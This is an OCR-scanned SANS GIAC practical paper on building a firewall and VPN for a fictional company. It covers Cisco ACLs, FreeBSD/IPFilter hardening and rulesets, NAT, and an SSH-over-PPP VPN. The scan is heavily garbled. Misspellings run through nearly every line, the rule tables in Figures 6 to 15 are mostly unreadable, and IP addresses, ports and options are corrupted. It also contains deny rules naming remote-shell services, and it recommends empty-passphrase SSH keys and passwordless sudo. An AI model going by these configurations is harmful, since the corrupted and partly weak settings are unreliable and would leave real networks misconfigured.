access-list 140 permit tcp any host 160.2.36.16 eq ssh
access-list 140 permit tcp any gt 1023 host 160.2.36.16 eq fip
access-list 140 permit tcp any gt 1023 host 160.2.36.16 eq ftp-data
access-list 140 permit udp any host 160.2.36.16 eq domain
access-list 140 permit tcp any host 160.2.36.16 eq domain
access-list 140 deny  tcp any host 160.2.36.16 log
access-list 140 deny udp any host 160.2.36.16 log

Ths ACL pemits trafic coming fom the frewal to pass out to the Intemet The assumplon is thet the trafiic
has been deared by one or both of the frewals or the VPN.

access-list 150 permit tcp host 160.2.36.16 any
access-list 150 permit udp host 160.2.36.16 any
access-list 150 permit icmp host 160.2.36.16 any

These ACLs are appied o the two interfaces by the folowing commands. Group 140 s appied o the
inbound serial interface; group 150 to the outbound Ethemet interface.

interface Serial 0
access-group 140 in

interface Ethernet 0
access-group 150 out

The Firewall

ACME has chosen the combination of FreeBSD and IPFiter over Linux and iplables because of the maturty
and sophisiicaion of both of these sofware components. For the implementaion of the frewal at tis point in
fime, ACME has chosen FreeBSD verion 43-STABLE and IPfiter 34.17. ACME recommends the following
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methodoogy to creale a secure frewal:

Select options whie instaling the operating system that wil help secure the firewall. For example, install a minimum
configuration.

After installaion, secure the system. For example, remove unneeded sevices.

Implement a frewallfitering ruleset that implements the security policy.

Installing the Operating System

Information on instaling FreeBSD can be obtained at http://www.freebsd.org/doc/en_US.ISO8859-
1/books/handbook/install.html.

ACME highly recommends the folowing step to produce a secure configuration.

1.

10.
1.

During the installation, choose “KemHDeveloper” as the distribution to install. This wil instal the kemel source, which wil be
needed to add IPiter into the keme!. Do NOT install X Windows.

Instal the FreeBSD ports collection. Some of the softwarre ports wil be added to secure the firewall.
When asked ifthis system wil function as a gateway, answer “Yes”.

When asked ifthis system wil have anonymous FTP acoess, answer “No”.

When asked ifthis system wil be an NFS server, answer NG

When asked ifthis system wil be an NFS dient, answer “No’.

When asked “Do you want to select a default security profile for this host’, answer “Yes” and select “Extreme - Very
restrictive security seffings”. Note: this tums offinetd. Inetdl is not needed for the operation of a firewl.

\When asked if you want to install Linux binary support, answer “No”.
Install the following packages from the FreeBSD package collection: lynx-2.8.3.1, vinHite-5.7 24, and Tripwire-2.3.1-2.

Be sure to choose a good, strong password for root (superuser).
When asked if changes need to be made to the General Configuration menu, answer “Yes” and enable nipdate and sshd.

After the system reboots, log in a root

Securing the System

1. Use vipw o edit the /&fopasswofle and change the shel parameter for root to be /binbash.Log outand back in.
Create a .bashre and profie for root with the folowing entries in them. Note the value of umask and PATH. This umask
wil prevent root from creating workd readable fies. The PATH parameter does nothave “.” initin case the systemis
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compromised and rojans are placed in direciories root may be investigating.

.bashrc:

umask 077
PS1="[Ww@\h \W]\$ "
alias Is="ls -alFG'

.profile:
PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin:/usr/local/sbin:$HOME/bin; export
PATH

umask 077

PS1="[Ww@\h \W]\$ "

alias Is='ls -alFG'

Create a waming banner in /feimotd. This is an example banner. Consutt with the legal department of
GIAC Enterprises for loca customizations.

*******WARNING*************

THIS SYSTEM IS RESTRICTED TO AUTHORIZED USERS FOR AUTHORIZED
USEONLY. UNAUTHORIZED ACCESS IS STRICTLY PROHIBITED AND MAY
BE PUNISHABLE UNDER THE COMPUTER FRAUD AND ABUSE ACT OF
1986 OR OTHER APPLICABLE LAWS. IF NOT AUTHORIZED TO ACCESS
THIS SYSTEM,DISCONNECT NOW. BY CONTINUING, YOU CONSENT TO

YOUR KEYSTROKES AND DATA CONTENT BEING MONITORED. ALL
PERSONS ARE HEREBY NOTIFIED THAT THE USE OF THIS SYSTEM
CONSTITUTES CONSENT TO MONITORING AND AUDITING.
************WARNING*************

2. Modify /etcinettl.conf such that all ines are commented out This is done justin case inetd is ever started acadentally or
not

3. Configure the SSH daemon configuration fie, /&fc/sshisshd_config as shown in the Appendiix

4. Configure the /etchosts.alow fie as shown in the Appendix.

5. Instal Tipwire. Insial the Tiipwire policy fle & lited in the Appendix and reareste the database. Modiy the totrontab
fle b ot ajob fo check the integrty ofthe sysem at 400 AV,

0 4 * * * root /usr/local/sbin/tripwire --check —cfgfile /etc/tripwire/tw.cfg

6.  Configure /etcit.confto look like the example in the Appendix. Modifications to the fle indude enabling sshd setiing it
isten for only Ipvé addresses, enabling ipifiter; ipmon, and ipnat., defining the network interfaces, addresses, and
nefmask.
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7. Creatielog fles spedicall to hod frewalelated infomation. ACVE recommends Aarlog/rewal_logs,

8. Configure the kemel o indude IPFifer by adding these nes o e kemel cormiguration fle. This modication wil enble
IPfer and IPfllr logging and set the defaut packetfteing polcy o “block.

options IPFILTER
options IPFILTER_LOG
options IPFILTER_DEFAULT_BLOCK

9. Rebuid the kemel. Install the kemel and reboot
Implementing the Firewall Ruleset

The frewal implements the securty policy of the organization. To implement the security policy, ACME has
chosen the Open Source Software program IPiiter version 34.17. IPiiter is a simple, fexile, and powerful
fitering system. Two of its stong points are its easy o read syntax and its capebiiies as a stateful frewall
Rues are instaled with the ipf program. The ipf program processes a rue fie. Each e in the rue fie
spediies a fitering rule. Each fitering rue is an acion to eiher pass or block the packet based on a set of

Another advantage of IPfiter over, say, iptables, is the separaion of fitering fom Network Address Transiation
(NAT). This makes it easer to concentrate on the wriing ruies to perform the required funciion.

Like other fitering packages, IPiiter processes rules in order they oocur. Thus order is important Most fitering
packages such as iplables or Cisoo I0S pass or block as soon as packet matches a rue. This is known as
“first match wins.” IPfiter, on the other hand, uses the principal of ‘last match wins” Thus, the decison to
pass or block a packet depends on the last rie maiched. This means rues are typicaly ordered fom least
resticive to most restricive.

Managing fitering rulesefs can become complex very quiddy. As Brent Chapmen points out in Network
(In)Securty Through IP_Packet Fitering, implementing fitering is often dificutt to configure, modify, and maintain.
ACME recommends using a program ke isba to implement fitering rulesels. Isba is a graphical tod 1o exit
and manage IPfiter ruesets. The GUI displays rules in odumn format organized into actions, oplions interface,
source host, source port, destinaion port, efc. Hosts, networks, interfaces are objects with names and
properties. This greatly simpifies ruleset generation and promotes readabity, maintainabiity, and flexbity. The
folowing are the definiions for the hostsladdresses used to ceate the ruleset
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Mame Value

0f32

00

127.0.0.1
DM S-server 192.166.2.2
brouter 160.2.36.17
crintx1-ar5-076-14.40.76.144
dmz-intf ed2
email - server 192.166.2.1
giac-ent 160.2.36.16
giac-int 192.166.0.0M16
int-intf edd
lan-intf edl
mngmnt-1 192.168.1.95
mngmnt-2 192.168.1.96
ntp-server 192.168.1.77
syslog-server-1 [192.168.1.57
syslog-server-2 [192.168.1.58
vpn-intf ed3
¥ph-server 192.168.3.1
W - Server 192.168.2.3

Comment

for Mat: specifies current IP address
for Mat: specifies any original address
localhost

DHS Server

Border Router

Me

DMZ Interface

Mail Server

GIAC Entrprises IP Address

GIAC Intermmal Address Range
Extemal Intermet Interface

Intermnal LAM Interface

Intermal Management System
Intermmal Management System
Metwork Time Protocol Server
Primary 3yslog Server

Secondary 3yslog Server

VPN Interface

VPH Server

Web Server

- Figure 3 Hosts/Addresses

The folowing are the interfaces used o create the ruleset

Hame
(1]
dmz-intd ed2
int-intf edd
lan-intf edl
wpn-intf ed3

Value

Comment

Loopback interface

DMZ Interface

Extemal Intemer Interface
Intemal LAN Interface
VPN Interface

- Figure 4 Interfaces

The folowing are the senvices used o ceate the ruieset

Hame Proto
dns tcpfudp
ftp tcp
ftp-data tcp
high-port tcp
hitp tcp
ntp tcpfudp
proto-icmp icmp
proto-tcp tcp
proto-tcp-udp tcpfudp
proto-udp udp
rexec tcp
Hogin tcp
rsh tcp
smtp tcp
ssh tcp
ssl tcp
syslogd udp
telnet tcp

Value

1023><65535
&0
123

al2
013
al14
il
22
413
al4
23

Comment

DHS - Domain Name Service
FTP - Filte Transfer Protocol
FTP Data Channel

Source port > 1023 but < 65535
HTTP - Word Wide Weh

NTP - Hetwork Time Protocol
specifies proto icmp, no type
specifies proto icp, no port
specifies proto tcpfudp, no port
specifies proto udp, no port
REXEC - Remote Execution
RLOGIN - Remote Login

RSH - Remote Shell

SMTP - Email

35H - Secure Shell

35L - Secure Socket Layer
3yslog - System Logger
Telnet - Remote Login

- Figure 5 Services

Included from
isha
isha
isha

Included from
isha

Included from

isha
isha
isha
isha

When the ruleset is compiete, isba compies the ruieset info IPfiter rules. The ruleset based on the securty
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polcy s comgued as lows:
Sce e default poicy s ‘b, the fist Wwo rues alow padkels b pass aomss e local loopback inferface.

‘# ‘Action‘ Opts ‘ Intf ‘ From ‘ To ‘ Service ‘ Misc ‘ Group ‘ Comment
Pazz paciiota aoross the local interface

‘1‘passin|mlck | 1o | ‘ | | | ‘Lmallncpbaic

(2 pos o [ e |10 | \ | | | | o see

- Figure 6 Local Loopback

This rie blocks packets wih IP oplions set or packefs that are short fragments.

‘# ‘Action‘ Opts ‘ Intf
Block short psciea or [P optlons ==t

. with short Black pasiketa that ars shart or haws Ip aptions sor,
‘3‘b1m!.n| aulek |!.ntlntr| | | | s |

From ‘ To ‘Service ‘ Misc ‘ Group ‘ Comment

- Figure 7 Short IP Options Set

Some forms of atiacking and fingerprining use combinations of the TCP fags thet are ambiguous or ilegd,
such as al six flags (SYNURG, PSH, ACK, FIN, and RST) set These three rues block those combinations.

‘# ‘Action‘ Opts ‘ Intf ‘ From I To IService

Misc ‘ Group ‘ Comment

Ther= are cortaln comblnatlons of blts Ln the TCP header that are austlionsble
at best. Theza are PIF (Push/Urgent/Fin) SF (Sym/Fln) and SUPRAF
(Sym AckuPush/Urgent /FLn/Roast)

4 | block In aalok Int-intf flag= PLF/PF Puah/Urgent/FLn
5 | block 1n | aulck | ine-intf Flags SF/SF Syn/FLn
6 block In aalek Int-intf Flaga fOnff All flags aot

- Figure 8 lllegal TCP FLags

These five ries create a dispaich table for fitering packets. Packets coming in on the Intemet interface are
dispatched to group 100, the local LAN interface, Group 200, the DMZ interface, Group 300, and the VPN
interface, group 400. Packefs leaving on the local LAN interface are dispaiched to Group 500.

‘ # ‘Action ‘ Opts ‘ Intf ‘ From ‘ To ‘ Service Misc ‘ Group ‘ Comment
Dlapateh ta the sppropristes groop depanding on the Interface snd direction
7 | poesin Lrt-1nts head 100 | Ineoming packetz from the Intsrnet/routsr
& | pas=tin Lan-inef hesd 200 | Incoming packets from the LAM
9 | poe= in dnz-Lrtd head 200 | Incoming packets fram the DHZ
10| pae= in vpr-Lntf head 400 Ineoming packetz from the VPN
11 pas2 an Lsn-intf hesd 500 | Outgolng packets to the LAM

- Figure 9 Dispatch Table

This is the Group 100 set of rues. Packets amve on the extemal Intemet interface. The fist rule blocks and
logs interacive session startups fom anywhere on the extemal Intemet interface. Speciying the “S” or SYN flag
in the TCP header to key on does this. The next rie pemis estabished teinet sessions to flow between the
router or the frewal and eiher of the intemal management stations. Time synchronization with the intemal
fimeserver is permited wih rue 14. Rues 15 through 20 pemit HTTP, secure HTTP, DNS, mai, and passve
mode FTP fo pass fomio the Intemet and the severs in the DMZ There are NAT rues that wil be

32
© SANS Institute 2000 - 2005 Author retains full rights.



discussed that go wih these fitering rules. For the VPN, SSH is alowed in fom the Intemet There is a
NAT rue for this as wel. The last rie in the group blocks and logs any packet that does not conform o

tis poicy.

‘ # ‘Actjon ‘ Opts ‘ Intf ‘ From ‘ To ‘ Service ‘ Misc ‘ Group ‘ Comment
Group 100 — Packeta arrlve on the extarnal Internet Lnterfacs.
and tima aync noodz to be permittad for the router.
W=b, FTP, mall, amel SSH asrs parmlttsd In. ALl other traffle L2 blocksd,
Block and log any talpet, rexec, rlogln, or rah sosslon Inltlated
from the outslds.
12 | block 1n 1%1{;"?‘ 1nt-tntf flaga 5/5 grovp 100
brautar mrgmee—L Pazz talnet paciatz from the routsr snd the Flrewsll ta the
13 | pas= in | ase: | ine-inef a 't - Flaga SA/SA group 100 | denlgnated management. atations
brautsr Tim= = regaeet from the router or the flrowall
14 | pazz 1n Aol 1nt-intf ntp—asmvor keop atats group 100 b=
glac—fuw-1nt
15 n | anek | tmetmee at keop state 100 | MLlow In traffle to tha Usb Sarver
o keep Frog= ks
16 paz= In aMck 1nt-intf glac—ent keep state group 100 Allow eecure to the weh eerve
keop Frags
- heep stars Allow DHS auerles
17 | pse= 1n ack | int-intf glac—ent T T group 100
. keop otate Allow emall from the Intsrmet
18 | psa= 1n alek | ime-imef glacent . group 100
. keop atate Allow FTP eommand channal
19 | pae= 1n sk Lne-tref glasent r graup 100
arcpart hlah—port Allow PASY FTP Data channel
20 | ps==in alek | ime-imef glacent atara group 100
heep Frogs
21 n as: Te—tmef glanam keop atate 100 Allow In S5H from the Internet for VPN Services
paes heap Frogs grop
log flrat Blask snd Loz snything alas from the Intarnet
22 | nlock 1n | 192 TUSE | Ame-iner gralp 100 | L ETAS Enterprizes

- Figure 10 Group 100

Group 200 directs packets fom the DMZ interface going to ether the infemal network or the Intemet The
frst six rues pemit HTTP, secure HTTP, DNS, emai, and passve mode FTP fo paess. Access o the
frewal, border router, and the sysems in the DMZ is granted to the intemal management station by the next
rie. Next, fime synchronizaion with the nip server is granted rue 30 to te frewal, border router, and the
sysems in the DMZ Access to the Intemet for HTTP and FTP is granted by the next rue o the inlemal
systems. Finaly, any other trafic fom the intemal systems is blocked.

‘# ‘Action‘ Opts ‘ Intf ‘ From ‘ To

Group 200 — Pasketa arrlve on the LAM [ntarface destined for the Intermet

‘ Service ‘ Misc ‘ Group

Comment

ar for the DHZ,

23 | pomz in aulek | lan-imef -z hoep stars group 200 | Allow Internal syotom to aoooos the weh oorver
24 | pss= in | aulek | Lan-intf - merver keep stats group 200 | Allow szcure HTTP &0 the web aorven
25 | pass in aulck | lan-intf emall-server leop otato group 200 | Allow Lpternal systams to mall asrver
26 | pasz in aulck | lan-intf DHS—arvar koep otata group 200 | Allow intarnal systams to the DFS ssrver
27 | pss=in | aulek | Lan-inef [rrrac keep staes group 200 | Allow FTP command channel to wsb server
28 | psaz in aalek Lan-intf [ —— aroport hlgh-part group 200 Allow PASY FTP data channal to wsh sorvor

WgETVeT Allow the management statlons on the Lnternal network telret

mngmnt—1 ersflilommrr Soneas to the axtarnal sorvers
28 | pas= in aaloie Lan-1ntf DSy loep ztats group 200
mrgmat—2* rauter

Flac—fw-1nt

WL Time Synchonlration uith the tims asrver

DSz
30 | pss= in aiek | lan-intf | mepssrvar | small-sseven limep stars group 200

brrouter

glac—fu-int
31 [ pe=tn | aulok | lan-imtf foep stats | group 200 | AlloW HTTP ta the Intemst
37 | pam= in aulok Lan-intf keep atsts group 200 Allow FTP command channel to the Internet

keep frags
areport hlgh-pare Allow PASY FTP dasta chanmel to the [nternet
33| pae=in | aulok | Lan-imtd keop stata group 200
keep frogs
34 | block tn lcl\gk Lan-Antf group 200 Elock all other trafflc from the lnternal network
o
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- Figure 11 Group 200

Packets coming in fom the DMZ are fitered by rues in Group 300. The first six rules pass HTTP, secure
HTTP, DNS, emal, and passve mode FTP to the infemal sysiems or o the Inlemet Management funclions
by the inlemal management staons are permitied wih via telnet wih rule 41. The last rie in the group
blocks potentally bogus packets fom the DMZ

‘ # ‘Action ‘ Opts ‘ Intf ‘ From ‘ To ‘ Service ‘ Misc ‘ Group ‘ Comment
Group 300 — Pasketas mome from the DIZ ta the Intarnal aystems or
Internet, The Fllter rules wlll pass HTTR, SHTP, S50, DMS, and (llmlt-ed) telpet.,
Anthing else 1z most lllely BOGIS!
35 | paez in aalok | cnz-intd | wasaorver keep otata group 300 | Allow HTTP from the usb ssrver
36 pss=tn el | dne-irtd | wasssever keen ataes group 300 | Allow S5_ from the web sorver
37 pa=tn auloks | dhz-intd | DMS—corver keep atate group Z00 | Allow DS from tho extornal DHS orver
38 | poez in ok | dnz-intd |emall-someven keep otata group 300 | Allow SHTP from the mall ssrver
39 pssz tn el | dne-irtd | wasssever keen ataes group 300 | Allow FTP command channel from the web server
40 | poe=z tn aalck cnz—lntd | was—corver keep atate group 300 Allow FTP data channal from the web oorver
LS meamnt—L Allou talpat ulth the mansgsment statlona
41 | pse=in ailck | dnz—intd | DiS-—zerver keep atata group 300
emal l-somer R
log Blocking rule for group Group 300, Moot Llkly bogus.
42 blosk tn [ 8 | de-iotd group 300

- Figure 12 Group 300

The only trafic coming fom the VPN server shoud be SSH. The set of ries in Group 400 pass SSH from
the VPN server and blocks al other trafic.

‘ # ’Action ‘ Opts ‘ Intf ’ From ’ To Service I Misc I Group ‘ Comment
Group 400 — Packets come from the The only traffle comlng from
the YR lrm?r-fac:e should be S5H. Dﬂwr t.haﬂ‘lc 1= RO,
43 | pasz tn ek | vpn-inel | vpn-zsrver group 400 | Allow 554 from the VPN oorver,
44 | blask tn q]i?gk s 400 mlm blnﬂg}br% %19 Blosk ather traffle arlginsting

- Figure 13 Group 400

Group 500 handes trafic oiginaing fom the frewal iiseff to the intemal LAN. Time synchronization requests to
the tme sever are handed by the frst rue. Sysog messages o the syslog senvers are permited in the next
rie. Tenet sessions to the management stafions are permited by rule 47. Other trafic is blocked by te last
Iuie.

‘ # ‘Action ‘ Opts ‘ Intf ‘ From l Service Misc I Group I Comment
Group 500 — Packetz orglnating from the flrowall to the local LAM

45 | poes oot | aalok | Lan-lntf | glac—fw-lnt | ntpsorver group 500 | Time ayme wlth the time ssrver

log—aerver—1 P meoaages to the log servers
46 | ps== ooe | a@ilek | lan-lnef | glsefu-lne RS group 500 == sfeioe

ayal og-merver—2
mngmet—L Psas ralnet ssasians bacl: to mansgsment atstions
pses oot | aulek | lan-lntf | glao—fu-int flags SA/BA group B0 | that are establlished.
47 memnt—2
Default block for packets m'lglnat.lrg on the

48 block out log lan-1lrtf | glac—fu-Lnt group 500 Flrowall bound For the Lnternal

- Figure 14 Group 500
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Network Address Transiaion is performed by these rues. When a packet goes out the Intemet interface with
a source address of the intemal LAN network, the packet wil be rewriten such that its source address is
frewalls Intemet IP address, and sent on 1o its oniginal destination. IPfiter maintains a list of what fransiated
conneclions are in progress so that it can perfom the reverse and remap the response to the infemal host
that realy generated the packet In the next seven rues, packets fom the Intemet requesing services are
dispatched o the appropriate server, web, DNS, emal, and FTP, and SSH after undergoing Network Address
Transiation.

Translated
Address

Translated
Dst Port

Original
From

Original
To

. Original
‘ # |Action | Intf Dst Port Proto Comment

Range

Metunri: Addresa Trenzlation RPule — Tranzlate Internal GTAC Enterprises
Internal addresses to the address of the flrewall.

Intarnal addroosse are tranelated to the addross of the
‘ 1 nae |Lm—lm—f| ‘ | |-> | glac—ent. | ‘ | | Flrewall and vics versa,

Redlrect web trafflc to the web server

Redlrect Securs HTTP to the web asrver

Redirect DHS trafflc

Redlrect Emall traffle to the mall sorver

Redirect FTP eommand channel to the ush ssrver

Redlrect PASY FTP data channel to the web server

AR IRt
i1
303
1
i
3
§5583183

Redlrect S5H to the YPH sorver

- Figure 15 Network Address Translation

The reset is compied into two fies, jpfrules, and jonatrules and placed in locations ke /etofoffules and
/etchpnatrules. Staring IPliter can be acoomplished wih a command such as

ipf -Fa -f /etc/ipf.rules

This direcs the ipf to flush al the nies and read the rules the fle, /efcipfrules. Network Address Tranglation
can be started wih a command such as

ipnat —Fa —f /etc/ipnat.rules

This commend direds ipnat o fush al the address transiaion direcives and read the fie /efcfonatruies. These
wo commands be induded in a strup fie such as /feftiocal 1o sterup fiteing and address transiation at

sysem boot fime.
The fiteing rules and address transiation rues compied from this ruleset can be found in the appendix.

The Virtual Private Network

GIAC Enterprises wents to connect its branch offices to the main ofice via a Vitual Private Newok over the
Intemet This wil resutt in cost savings on analog modems and modem nes and increase secuty of
fransmitied data. Since VPN's are a faily new technology and GIAC Enterprises wants o test VPN's as a
“proofofooncept” before commiting to a perticular solufion, GIAC Enterprises has requested ACME o configure
a VPN soution usng Open Source Sofware. To implement @ VPN sauion, ACME hes chosen o use
Secure Shell (SSH) and PPP (Pontto-Point Protocd). The sefup given here is between the centrdl ofice in
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Dalas, Texas and the branch ofice in Fort Worth, Texas.

For this setup the folowing convenons wil be used:

Component Desaiption Vaue

Branch Ofice LAN The P addess of te VPN | 19216851
sever on the infema network

(branch-office-an)

Branch Ofice Gateway The P addess of te VPN |160236.19
sever on the Infemet

(branchroffice-gw)

Branch Ofice VPN The IP addess of te branch | 19216871
ofice’s PPP Interface

(branch-officevpn)

Central Office LAN The P addess of te VPN | 19216832
senver on the infemal nefwork

(centrakofficedan)

Central Office Gateway The IP addess of the VPN | 160236.16'
sever on the Infemet

(centrakoffice-gw)

Central Office VPN The P address of te oental | 19216872
ofice’s PPP interface

(centraboffioe-vpn)

' This is the IP address of the GIAC Enterprises firewall. Network Address Translation in IPfiter will take care of
getting the packets tofrom the VPN server.

© SANS Institute 2000 - 2005
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Theory of Operation

To set up secure communications between the branch ofice and the central ofice, the Secure Shel (SSH) wil
be used. SSH is boh a program sute and a secure communications protoodl. It has become te de faco
standard for secure remote access on Unix systems. The SSH server daemon, sshd, istens for conneciions
fom an SSH dient (usualy ssh) on wekknoan TCP pot 22. When a connection is established, the dient
and sever authenticate each oher usng an RSA key exchange wih keys typicaly 1,024 bis. To prevent “men
iHhe-midde’atiacks, the sshd has iis own RSA key, which is regenerated and never kept, in a fie. This
fransent key makes it more dfficut for the mandinthemidde to deaypt intercepied packets and pretend they
are eiher the dient or server or both. The server key is usualy 768 bis. If the user spedfied a command o
un when the SSH dient was run, that command runs remoiely on the server (providing authentication
sucoessfuly oocurred). f no command were spedfied, a pseudotemind is areated and an interacive session is
estabished instead. |t is possble o run a command remotely and creale a pseudotemind in the process. This
s basis upon which the VPN wil be buit

Just as FTP profocdl uses a separate channel for data and commands, e VPN wil have o SSH
chamnels between the branch ofice and the central ofice. One wil be used to secure and encapsulae the
PPP protocol for data transmission, the other, for commands sent from the branch offce o the central office.

A VPN session between branch ofice and central ofice goes through this sequence of operations:
1) Runply-dirto alocate a new pseudo-terminal on the branch office.

2)  Openan SSH connection between the branch ofice and the central office. This is the data channe.

3)  Runpppd on the central office. To complete the connection, pppd must be running on the master.

4)  Runpppd on the master through the alocated pseudo-teminal.

5)  Openaseoond SSH conneciion to the central ofice. This is the command channel through which commands o set up
rouing tables on the central office wil be sent

6)  Setuprouingtables on the branch ofice.

Al of the operaions can be set up saipt on the branch ofice and eiminate the need for human intervention
fo start or siop the VPN.

Initial Setup of the VPN

Seting up the VPN is accompished in the folowing steps
1) Create a useracoounton the central office.

2)  Setup SSHauthentication.

3)  Configure sudo on the central ofice.
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4)  Configure pty-redir on the branch ofice.
5)  Configure pppd and route scripts for the user on the central office.
6) Configure the VPN script on the branch office.

Create a user account on the central office

Create a user acoount and home directory on the central office for the Fort Worh ofice for the VPN
connecion. Use a mnemonic name, such as fwl+pn. By doing this, fracking and acoounting can be done for
each branch ofice. ACME recommends seffing the password for each VPN user acoount to a strong, dificult-
focrack  password.

Set up SSH authentication

On the branch ofice sysem, i a key par consising of a publc and pivaie key for the roof account hes not
been oedled, aeste hem usng the sshkeygen progam. This wil creae o fles, SHOMEsshidentty.pub and
SHOME/sshidentty, where $HOME s the home diedary for the user, These fles ooniain te publc and
pivaie keys for the oot acoount, Check the pemissons on $HOME/sshidently such thet s reaceble and
wiiebe only by root I it is not, do

chmod u=rw,g-rwx,0-rwx %HOME/.ssh/identity

When sshkeygen prompts for a passphrase, enter an emply ine. A nul passphrase wil fadiitate unattended
stat up of the VPN.

Log into the centrd ofice using the VPN usemame, wf4pn. Aemaively, su o it and run sshkeygen to
generate the public and private keys for user iwfypn. Again, check the permissions of the fles containing the
pubic and pvate keys appropriately.

The next step s o the exchanging of keys to permit ssh logins. Add the centrd office’s public host key 1o
roofs known_hosts fie on te branch ofice. The easiest way to accompish this is o run ssh o connect o
the central ofice fom the branch office. By doing this, ssh wil automaticaly ask if the central office’s pubic key
to the known hosts  fie on the branch ofice. The comect response is “yes” To add the branch ofice’s
pubic host key o fnpnt's  known_hosts fle, ether ty to connect to it using ssh or copy the key
/etcissh_hostkey. Next, copy roots publc key fom SHOME/sshidentiypub on the branch ofice to fsvpnt’s
authorized _keys fle.

At tis pornt, RSA host, and RSA user authenicaton are al enabled for this connection. To further fighten up
seaurty, edit /efo/ssha_config on both hosis o ook ke the folowing:

Port 22

HostKey /etc/ssh/ssh_host_key
KeyRegenerationinterval 3600
SyslogFacility AUTH

LogLevel INFO
PermitRootLogin no
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StrictMode yes

RhostsAuthentication no
RhostsRSAAuthentication no

RSAAuthentication yes

PasswordAuthentication no

AllowHosts giac-ent.giac.com giac-ent-fw.giac.com

This tels the SSH daemon o configure iiseff in this way:

Port 22

The option Port spediies on which port number ssh daemon listens for incoming connections.
HostKey /etc/ssh/ssh_host_key

The opion HostKey spedies te locaon corlaining the pivaie host key.
KeyRegenerationinterval 3600

The opion KeyRegenerationinterval spedfies how long in seconds the server should wait before
automatically regenerated its key, in this instance, one hour.  This s @ secury feature fo prevent man
themidde atiacks.

SyslogFacility AUTH

The option SyslogFacility spedfies the fadity code used when logging messages from sshd. The facity
spedies e subsystem that produced the message, in tis case, AUTH.

LogLevel INFO

The option LogLevel spedfies the level that is used when logging messages from sshd, in this case,
INFO.

PermitRootLogin no

The option PermitRootLogin spediies whether root can log in using ssh This prevents root logging in 1o
eiher sysem using ssh.

StrictMode yes

The opion StrictModes spedies whether ssh should check user's permissions in their home directory and
thosts fles before acoepiing login.

RhostsAuthentication no
The opfion RhostsAuthentication spedfies whether sshd can ty 1o use thosts based authenticaion.
Seting RhostsAuthentication 10 “nd” means .thosts authentication, which is insecure, wil not be used.
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RhostsRSAAuthentication no

The opion RhostsRSAAuthentication spedies whether to try .rhosts authenticaion in concert wih RSA
host authentication. This is set 0 “no” because of the lack of security in .rhosts authentcation.

RSAAuthentication yes

The opion RSAAuthentication spediies whether to ty RSA authentication. This opfion must be set o
“yes” for oplimum secuity in VPN sessions.

PasswordAuthentication no

The opon PasswordAuthentication spedfies whether passwordbased authentication should be used if RSA
authentcation fais. This option is set 0 “no”.

AllowHosts giac-ent.giac.com giac-ent-fw.giac.com

The opon AllowHosts spedfies fom which hosts an SSH session is alowable. On the branch office, only
giac-ent.giac.com would be spedfed, on the centra office, only giac-ent-fw.giac.com.

Configuring sudo on the Central Office

The sudo program alows a user wih the appropriste fights to execute a program as if he were the
superuser. Users are granted capebiies based on the contents of the sucbers fle. Sudo is necessary because
the unpivieged user ivpn? must execute the route, which is privieged. The sudoer fle s set up like the
folowing:

Cmnd_Alias VPN=/usr/sbin/pppd;/sbin/route

fw-vpn1 ALL=NOPASSWORD: VPN

Cmnd_Alias VPN=/usr/sbin/pppd;/sbin/route

The Cmnd_Alias option spediies a command dias name VPN that contains the /Ausrsbinpppd and
/sbinfoute - programs.

fw-vpn1 ALL=NOPASSWORD: VPN

The next ne spedfies that user apnt can exeaue a the commends in the VPN dias wih having o
supply a password.

Configuring pty+edir on the branch office

The phyedr progam alows the creation of a new pseudotermind on the branch office in order o run point
fopoint protocdl trafic through it Not al foms of Unix use the same designation for pseudoderminals. Some
desgnate pseudodtemingl as /devply; others, as /eviy. The source for the plyredr program s gven in the
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Appendix. Edit the source wih an edior of choice and change line 84 to reflet the naming conventions for
the particular system it is to execute on.

Configuring pppd and route scripts on the Central Office

Two smal soipts are required on the central ofice and reside in the home direciory the user acoount, fn-
vont. The first, pppd has as its contents

#!/bin/sh
/usr/sbin/pppd

This soript executes the pointopoint protocdl daemon. The second saipt, route, has as its contents

#!/bin/sh
/sbin/route add —net 192.168.5.0 gw 192.168.7.1

This adds a route so that the central office can get back to branch dfiice’s LAN. Use the chmod command
fo set the pemissions on these two fles such tat only the owner of scripis has read, wite and execute

chmod u=rwx,g-rwx,o-rwx pppd route

Configuring the VPN script on the Branch Office

The VPN soipt resides on the branch ofice and makes the VPN connection. A lising of the saipt can be
found in the AppendixVarious parameters in the saipt are described below:

PPPDAPP: This is the path of the pppd saipt in the home directory of the branch office’s acoount on
the central ofice’s sever. In this case, it's homefwspntpopd

ROUTEAPP: This is the path to the route saipt In this case, its /homefw~pnifoute.

MYPPPIP: This is the IP address of the VPN interface on the branch ofice. In this case, it's
192.168.7.1.

TARGETIP: The is the IP address for the VPN inferface on the central office. In this case, its
1602.36.16.

TARGETNET: This s the nework address (not the IP address) for the LAN side of the central office. In
tis case, its 192.168.30.

MYNET: This is the network address for the LAN side of the branch ofice (192.168.5.0).

a1
© SANS Institute 2000 - 2005 Author retains full rights.



FIREWALL: This is the hostname of the central offce, giacentfw.giac.com.

CENTRALACC: This is the login name for the branch offce’s acoount on the central ofice. In this case,
ts "fwapnt.

PPPD, REDIR, SSH: These reflect the paths to these programs on the particuiar system.

These parameters would look ke this in the VPN saipt

PPPDAPP=/home/fw-vpn1/pppd
ROUTEAPP=/home/fw-vpn1/route
PPPD=/usr/sbin/pppd
REDIR=/usr/local/bin/pty-redir
SSH=/usr/local/bin/ssh
MYPPPIP=192.168.7.1
TARGETIP=192.168.7.2
TARGETNET=192.168.3.0
MYNET=192.168.5.0
FIREWALL=giac-ent-fw.giac.com
CENTRALACC=fw-vpn1

A compete sing of the VPN sorpt can be found n the: Appendix
Execuing the saipt by hand would ook something ke this
# VPN start

seting up VPN
tty is /dev/ttyp1

To execue the script on system startup, copy the VPN saipt to an appropriate directory on the branch ofice,
such as /fcand cal it from the fetditiocal fie in this manner:

/etc/VPN start

Executing the foonfig commend fom the branch office should produce output simiiar 1o this:

ppp0 Link encap:Point-Point Protocol

inet addr:192.168.7.1 P-t-P:192.168.7.2 Mask:255.255.255.0

UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1500 Metric:1
RX packets:61 errors:0 dropped:0 overruns:0

TX packets:61 errors:0 dropped:0 overruns:0

Mobile Users
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Moble users such as saes representatves wil be users of the VPN to connedt to the home dfice via an
Intemet connection from the their laptops running Linux. Ahough the communications with the central office wil
be secured over SSH, the lapiop is stil conneced to the Intemet and, thus opens to atiack and compromise.
